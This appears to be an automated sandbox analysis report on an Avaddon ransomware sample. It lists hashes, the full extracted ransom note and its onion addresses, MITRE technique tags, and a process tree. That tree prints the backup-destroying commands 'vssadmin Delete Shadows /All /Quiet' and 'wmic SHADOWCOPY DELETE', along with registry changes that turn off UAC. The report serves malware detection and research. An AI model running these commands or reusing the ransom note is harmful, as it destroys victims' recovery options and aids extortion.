avaddon | d6de15b19a6ee624c1f59d543235fc97da322cede2f3fb1bcdbcc3cf4e7ed0c1

Analysis

max time kernel
149s
max time network
119s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
17/04/2024, 13:00

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General

Target

d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
Size

441KB
MD5

b1758767d10c75d1589c16763fca6fd3
SHA1

2722f21a31859ea735e908a1c705d07b139e3b12
SHA256

d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb
SHA512

93bdfaf8a7b35e3c0110e931a35c5a901c8acf06b36dd9e8cba9b770be642525ba0350ae94d68556961b06b0d802cd2e1997fc73849c643f76eba721215abf5e
SSDEEP

12288:5I7bv0KUN/9MISQBqz9xbwL5A++dMncx4wjSvh:K7QzuyErzrSwjMh

Score

10^/10

avaddon evasion ransomware trojan

Malware Config

Extracted

Path

C:\Users\Admin\UVfQp_readme_.txt

Family

avaddon

Ransom Note

-------=== Your network has been infected! ===------- ***************** DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED ***************** All your documents, photos, databases and other important files have been encrypted and have the extension: .aebeeDbaEb You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your files! The only way to restore your files is to buy our special software. Only we can give you this software and only we can restore your files! We have also downloaded a lot of private data from your network. If you do not contact as in a 3 days we will post information about your breach on our public news website (avaddongun7rngel.onion) and after 7 days the whole downloaded info. You can get more information on our page, which is located in a Tor hidden network. How to get to our page -------------------------------------------------------------------------------- | | 1. Download Tor browser - https://www.torproject.org/ | | 2. Install Tor browser | | 3. Open link in Tor browser - avaddonbotrxmuyl.onion | | 4. Follow the instructions on this page | -------------------------------------------------------------------------------- Your ID: -------------------------------------------------------------------------------- MjAwNC13bTM2TzUvK3NOSHdNTmUvbTRpYlZoT3E5NnorT3VOVkNxbkVGOGNhbmVaSTdIV0Q1aTBQWUpPQmc4RnpMdG0ydVgvTHJuZmQrT3czRk5Hb0xpMzhRME9NVlVNOXZNenBRMXFuaksvbmRRTU5UMjJNZUlQNGtJcXRncnpZUFVVR2VXMVJNV1FxOXpGdUJ4L2NNb1hkZytxb25rWmxKVGtISTdkUWVQNTdVS3F3WjV4WGZGd2ZoOG9HYUZac3dxbGtZZXE5UmYrbE5scTRyaHBPeTlDR0E4QlVRLzJZVDg4Y3hCcTBKNERvc1hBU2tyekMzSU5QR2JSbkRnUjA1N1VDaWZRdDBBNExXcmVNREJLand2U1h4WXlScWV4SWNMQzVXcFA0eWx0c1Q4SGJmWGlJUVpQQ0VHemtqN1R6bjBZU1ZoSElVcUk5blBjc2lTVmNmUkVhUTFmUkdBTXpaRkwyMXJ3NlNyUWVweHVEeXZTZGFGMU9QT2V6c242UURhNUZIaVFaeVdUNEwxL3VUZzUrcHlBa3V5Yy9Za0VKMVQ5TWpPOWgySzh2cWhOck5TazkvZ29nRE5uMlV1b3hleklrRlFqNW5mNFFnSlNOeDdkUnJvUEc2amxBeFo2U0tia1ZtaUV6a2lsVit6SVFtS2FCajhvMXp4cVpTdzQ2RGg0aG54UE9aU2Q2T245eXcyVGUvb1dWV20veTJMdGg5OENpdVRKdUlESGRYbmIyM3d3SjhUbjVEVjE1Q3VZWndIeUowRzMvZWpIbXQvKzRJZEQ5elZCTkp1S1hBSWFUQlJUNWd1bVd5SitIY3BRdDJrV1ZWN0hsZStHKzRyeE9paXd2cUhrYjA1T0Vmc2xXYzFPRWQrM21DK2NtYUU5T2JycUhzRzdtdmYvVzY0ZHhRK2FZMUxickVuSUdvOFZVbmd2ZVFiazEremdiOGw3RFpXQ3M1cVc5WDlnYVlRbDdhLzZXK0JOWDRSbnFZT2UyOEJRMnQxUXVXRTZwazVFQ2FOUE10QkdncGNPQmRSd2xKSGFiU0xPZWlWQy9WZWJVNGlTOHRUd0tHcVR6NFRPamxDQi9lYjZwbnhNT3Zjb0dwa29WR2hjWG5UMmtuSjFtcWtqMEZlNDVZVFhmU1Q4WXhZR0pQcnZoM0dnZ2hLZ3R3SnJrWEI2YmZFbEs5RWJRYWpaTUtFNVN1WnN6Y1lDbmVHeG1yL04yUVd1ODFiNXl4ckMzTkFnRjI4b1NiRjc5VjllTkJaRWRZTUwvZ1lLT1FzZ0RpSnZYdTBMRGZrYXBTVll5djgvMk9OUkFrbWo2djRJa1dlcVZjQ2hDVDh0b2E2dXhncU9saG4rVnFOVElLQkxqOU1aMnhQR0g1enVLL3VGaUxjOWFwamdobHVXTGlCS0VrNnZ3ank4cS9IMUFYRzV4SjhzN01YdG9ONjlqTy9QOU1LeGdwM1YrWU9TQ3lZYktkaWo3REVvb01tV084RklqRDJSSUxpa0F3eUkwdS9POVZsdG43UjZrWnlEa1FnbWYvOWtISVBRenVYVnF5LzRUQjZpNkMyeHJqOVBQOHNlQUZkeGNibVVMUXpWS2l5QVc0SDBVdm9wTXJJcDQ1eTZNMkl2aGtjWnd4VFUvdytxdjd2a3haOHpNTjh0MGM3TU1GSWI2YmFSemVwTjBkSmY4V3JIYkpsS0VvbG15Q2NNRWdBRzVXUDNpd1loQU05REtqYmNXVVg4Ny9Ed0d3L040R0xFVHpXd00xQjZSU3MzOC8xbWlRRm0wK2YybzdpWnRQWlVxQlNPQTRrY1pzK3pQUXBWRERHQUlJNFF6dC9QVWFaYWk2eCtSSFN3VHJjUTk5UlUyVEl0Qk43V1dRUExFTDF6U250VElHV1dJVHpTZ2FKZzVwZmJIZ21IMSsybkRDZjY3aFlaMm1FUXJJWGZIUFNORjQxcjNxampoZnkybEJkUnk2bmdFNVVvUkJNSFNwM0pUWGNmNWp4cUFCbzd2dVBqZGxDM3k0bE41LzdzWmQ0Ylp2YXo0RFFkejEyZE84K1hBNGVQb3MvOEx6cTR2ZGtRelVZd3BnUnhVamRXbXBSNmR5Y1lqNUhRQ1hScHQ0R25VQW1LUmhGeVBxNVZvYWg5cXRHWitZNlFxRGd1dkR5WTMrdz09 -------------------------------------------------------------------------------- * DO NOT TRY TO RECOVER FILES YOURSELF! * DO NOT MODIFY ENCRYPTED FILES! * * * OTHERWISE, YOU MAY LOSE ALL YOUR FILES FOREVER! * * * q

URLs

http://avaddongun7rngel.onion

http://avaddonbotrxmuyl.onion

Extracted

Path

C:\Users\Admin\Favorites\Microsoft Websites\UVfQp_readme_.txt

Family

avaddon

Ransom Note

URLs

http://avaddongun7rngel.onion

http://avaddonbotrxmuyl.onion

Signatures

Avaddon
Ransomware-as-a-service first released in June 2020 and currently expanding its userbase among criminal actors.
ransomware avaddon

Avaddon payload 1 IoCs

resource	yara_rule
behavioral1/memory/2292-578-0x0000000000400000-0x00000000005E3204-memory.dmp	family_avaddon

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2416	2580	wmic.exe	29
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2436	2580	wmic.exe	29
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2492	2580	wmic.exe	29

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (191) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Executes dropped EXE 1 IoCs

pid	Process
2292	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	\??\Z:\$RECYCLE.BIN\S-1-5-21-2721934792-624042501-2768869379-1000\desktop.ini	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\I:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\L:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\Y:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\E:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\G:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\F:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\M:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\P:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\R:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\S:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\T:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\B:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\H:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\K:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\U:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\O:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\Q:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\V:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\W:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\X:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\A:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\J:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
File opened (read-only)	\??\N:	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2708	vssadmin.exe
1276	vssadmin.exe
2264	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2416	wmic.exe
Token: SeSecurityPrivilege	2416	wmic.exe
Token: SeTakeOwnershipPrivilege	2416	wmic.exe
Token: SeLoadDriverPrivilege	2416	wmic.exe
Token: SeSystemProfilePrivilege	2416	wmic.exe
Token: SeSystemtimePrivilege	2416	wmic.exe
Token: SeProfSingleProcessPrivilege	2416	wmic.exe
Token: SeIncBasePriorityPrivilege	2416	wmic.exe
Token: SeCreatePagefilePrivilege	2416	wmic.exe
Token: SeBackupPrivilege	2416	wmic.exe
Token: SeRestorePrivilege	2416	wmic.exe
Token: SeShutdownPrivilege	2416	wmic.exe
Token: SeDebugPrivilege	2416	wmic.exe
Token: SeSystemEnvironmentPrivilege	2416	wmic.exe
Token: SeRemoteShutdownPrivilege	2416	wmic.exe
Token: SeUndockPrivilege	2416	wmic.exe
Token: SeManageVolumePrivilege	2416	wmic.exe
Token: 33	2416	wmic.exe
Token: 34	2416	wmic.exe
Token: 35	2416	wmic.exe
Token: SeIncreaseQuotaPrivilege	2492	wmic.exe
Token: SeSecurityPrivilege	2492	wmic.exe
Token: SeTakeOwnershipPrivilege	2492	wmic.exe
Token: SeLoadDriverPrivilege	2492	wmic.exe
Token: SeSystemProfilePrivilege	2492	wmic.exe
Token: SeSystemtimePrivilege	2492	wmic.exe
Token: SeProfSingleProcessPrivilege	2492	wmic.exe
Token: SeIncBasePriorityPrivilege	2492	wmic.exe
Token: SeCreatePagefilePrivilege	2492	wmic.exe
Token: SeBackupPrivilege	2492	wmic.exe
Token: SeRestorePrivilege	2492	wmic.exe
Token: SeShutdownPrivilege	2492	wmic.exe
Token: SeDebugPrivilege	2492	wmic.exe
Token: SeSystemEnvironmentPrivilege	2492	wmic.exe
Token: SeRemoteShutdownPrivilege	2492	wmic.exe
Token: SeUndockPrivilege	2492	wmic.exe
Token: SeManageVolumePrivilege	2492	wmic.exe
Token: 33	2492	wmic.exe
Token: 34	2492	wmic.exe
Token: 35	2492	wmic.exe
Token: SeIncreaseQuotaPrivilege	2436	wmic.exe
Token: SeSecurityPrivilege	2436	wmic.exe
Token: SeTakeOwnershipPrivilege	2436	wmic.exe
Token: SeLoadDriverPrivilege	2436	wmic.exe
Token: SeSystemProfilePrivilege	2436	wmic.exe
Token: SeSystemtimePrivilege	2436	wmic.exe
Token: SeProfSingleProcessPrivilege	2436	wmic.exe
Token: SeIncBasePriorityPrivilege	2436	wmic.exe
Token: SeCreatePagefilePrivilege	2436	wmic.exe
Token: SeBackupPrivilege	2436	wmic.exe
Token: SeRestorePrivilege	2436	wmic.exe
Token: SeShutdownPrivilege	2436	wmic.exe
Token: SeDebugPrivilege	2436	wmic.exe
Token: SeSystemEnvironmentPrivilege	2436	wmic.exe
Token: SeRemoteShutdownPrivilege	2436	wmic.exe
Token: SeUndockPrivilege	2436	wmic.exe
Token: SeManageVolumePrivilege	2436	wmic.exe
Token: 33	2436	wmic.exe
Token: 34	2436	wmic.exe
Token: 35	2436	wmic.exe
Token: SeIncreaseQuotaPrivilege	2416	wmic.exe
Token: SeSecurityPrivilege	2416	wmic.exe
Token: SeTakeOwnershipPrivilege	2416	wmic.exe
Token: SeLoadDriverPrivilege	2416	wmic.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 2836	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	36
PID 2084 wrote to memory of 2836	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	36
PID 2084 wrote to memory of 2836	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	36
PID 2084 wrote to memory of 2836	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	36
PID 2084 wrote to memory of 2708	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	41
PID 2084 wrote to memory of 2708	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	41
PID 2084 wrote to memory of 2708	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	41
PID 2084 wrote to memory of 2708	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	41
PID 2084 wrote to memory of 2212	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	43
PID 2084 wrote to memory of 2212	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	43
PID 2084 wrote to memory of 2212	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	43
PID 2084 wrote to memory of 2212	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	43
PID 2084 wrote to memory of 1276	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	45
PID 2084 wrote to memory of 1276	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	45
PID 2084 wrote to memory of 1276	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	45
PID 2084 wrote to memory of 1276	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	45
PID 2084 wrote to memory of 2812	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	47
PID 2084 wrote to memory of 2812	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	47
PID 2084 wrote to memory of 2812	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	47
PID 2084 wrote to memory of 2812	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	47
PID 2084 wrote to memory of 2264	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	49
PID 2084 wrote to memory of 2264	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	49
PID 2084 wrote to memory of 2264	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	49
PID 2084 wrote to memory of 2264	2084	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe	49
PID 1784 wrote to memory of 2292	1784	taskeng.exe	54
PID 1784 wrote to memory of 2292	1784	taskeng.exe	54
PID 1784 wrote to memory of 2292	1784	taskeng.exe	54
PID 1784 wrote to memory of 2292	1784	taskeng.exe	54

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe
"C:\Users\Admin\AppData\Local\Temp\d841d0a10e8b6885f1b8e1282c70e88d4f74471fbbe1b4b6f29b4ca238b1e8cb.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Drops desktop.ini file(s)
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2084
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic SHADOWCOPY DELETE /nointeractive
  2⤵
  PID:2836
- C:\Windows\SysWOW64\vssadmin.exe
  vssadmin Delete Shadows /All /Quiet
  2⤵
  - Interacts with shadow copies
  PID:2708
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic SHADOWCOPY DELETE /nointeractive
  2⤵
  PID:2212
- C:\Windows\SysWOW64\vssadmin.exe
  vssadmin Delete Shadows /All /Quiet
  2⤵
  - Interacts with shadow copies
  PID:1276
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic SHADOWCOPY DELETE /nointeractive
  2⤵
  PID:2812
- C:\Windows\SysWOW64\vssadmin.exe
  vssadmin Delete Shadows /All /Quiet
  2⤵
  - Interacts with shadow copies
  PID:2264

C:\Windows\system32\wbem\wmic.exe
wmic SHADOWCOPY DELETE /nointeractive
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:2416

C:\Windows\system32\wbem\wmic.exe
wmic SHADOWCOPY DELETE /nointeractive
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:2436

C:\Windows\system32\wbem\wmic.exe
wmic SHADOWCOPY DELETE /nointeractive
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
